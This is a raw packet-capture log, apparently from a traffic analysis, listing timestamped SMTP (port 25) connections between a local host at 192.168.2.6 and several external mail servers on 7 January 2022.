Jan 7, 2022 15:43:06.574919939 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574924946 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574947119 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574959040 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574996948 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.575098038 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575115919 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575131893 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575174093 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.575198889 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575216055 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575234890 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.575278997 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575283051 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.575320959 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575370073 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.575407982 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.575412035 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.576976061 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.616324902 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.616836071 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.702562094 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.702748060 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.703092098 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.703102112 CET	49805	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:06.762473106 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762510061 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762537003 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762563944 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762592077 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762593985 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762619019 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762655973 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762674093 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762680054 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762693882 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762705088 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762736082 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762749910 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762768984 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762798071 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.762943983 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.762989998 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763021946 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763029099 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763060093 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763092995 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763140917 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.763184071 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763247013 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.763288021 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763386011 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.763463974 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763535976 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.763544083 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763570070 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763581991 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.763613939 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763617992 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.763619900 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763659000 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763693094 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763695955 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.763735056 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.763758898 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764003038 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764041901 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764077902 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764081955 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764122963 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764130116 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764158010 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764178038 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764194965 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764204025 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764220953 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764259100 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764354944 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764417887 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764456034 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764496088 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764534950 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764565945 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764571905 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764599085 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764637947 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764672041 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764710903 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.764789104 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.764841080 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765038967 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765151024 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765131950 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765305996 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765342951 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765381098 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765405893 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765419006 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765444994 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765466928 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765487909 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765645981 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765686989 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765722990 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765774965 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765803099 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.765867949 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.765984058 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766024113 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766060114 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766084909 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766098022 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766118050 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766134024 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766156912 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766170979 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766210079 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766216993 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766244888 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766263962 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766279936 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766282082 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766302109 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766320944 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766355991 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766381979 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766391993 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766407013 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766424894 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766427040 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766448021 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766510963 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766554117 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766592979 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766628027 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766630888 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766652107 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766665936 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766689062 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766704082 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766740084 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766746044 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766766071 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766777039 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766793966 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766815901 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766855955 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766885042 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766917944 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766921043 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766947985 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766957045 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.766963005 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766979933 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.766994953 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767013073 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767031908 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767045021 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767081022 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767115116 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767144918 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767170906 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767175913 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767195940 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767208099 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767210007 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767237902 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767256021 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767271042 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767283916 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767299891 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767302990 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767334938 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767344952 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767368078 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767370939 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767398119 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767398119 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767421961 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767430067 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767461061 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767463923 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.767491102 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.767505884 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.952905893 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.952953100 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.953079939 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:06.953258991 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:06.953526974 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.953557014 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.953583002 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.953663111 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.953913927 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954025984 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954143047 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954344988 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954463959 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954638004 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954777002 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.954857111 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957387924 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957417011 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957442045 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957489014 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957516909 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957535028 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957572937 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957601070 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957706928 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957731962 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957840919 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957869053 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957895041 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.957930088 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958017111 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958044052 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958100080 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958127975 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958221912 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958250999 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958270073 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958340883 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958509922 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958539009 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.958564043 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959438086 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959475040 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959554911 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959582090 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959659100 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959687948 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959714890 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959741116 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959918022 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959947109 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.959975004 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960102081 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960131884 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960159063 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960186005 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960302114 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960407972 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960529089 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960652113 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960813046 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960902929 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.960985899 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.961056948 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.961132050 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.961280107 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.961329937 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.995209932 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:06.996134043 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:06.998769999 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:07.000586987 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:07.040900946 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.112498999 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.112638950 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:07.154877901 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.229415894 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.229545116 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:07.229582071 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:07.229916096 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:07.270855904 CET	25	49806	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:07.270977974 CET	49806	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:07.271455050 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.271492958 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.271948099 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.272023916 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:07.272043943 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:07.272088051 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:07.404361010 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:07.595057964 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:07.798717022 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:07.873111963 CET	49801	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:07.988715887 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:07.988825083 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:07.989229918 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.178760052 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.178922892 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.179276943 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.179380894 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.369066000 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.369200945 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.369259119 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.369340897 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.559796095 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.559820890 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.559892893 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.559964895 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.560112953 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.750086069 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.750235081 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.750236034 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.750269890 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.750339031 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.750371933 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.750413895 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.750489950 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.940691948 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.940720081 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.940829992 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.940900087 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.940926075 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.940928936 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.941014051 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.941029072 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.941052914 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.941116095 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.941186905 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.941600084 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.941633940 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.941660881 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:08.941761017 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.941926003 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:08.942074060 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131100893 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.131140947 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.131237030 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131350040 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131392002 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.131422043 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.131457090 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131478071 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131544113 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131570101 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.131728888 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.131766081 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.131849051 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.132034063 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.132076025 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.132138014 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.132170916 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.132216930 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.132904053 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.132941008 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.133003950 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:09.133050919 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.133112907 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:09.133615017 CET	25	49800	148.163.149.218	192.168.2.6
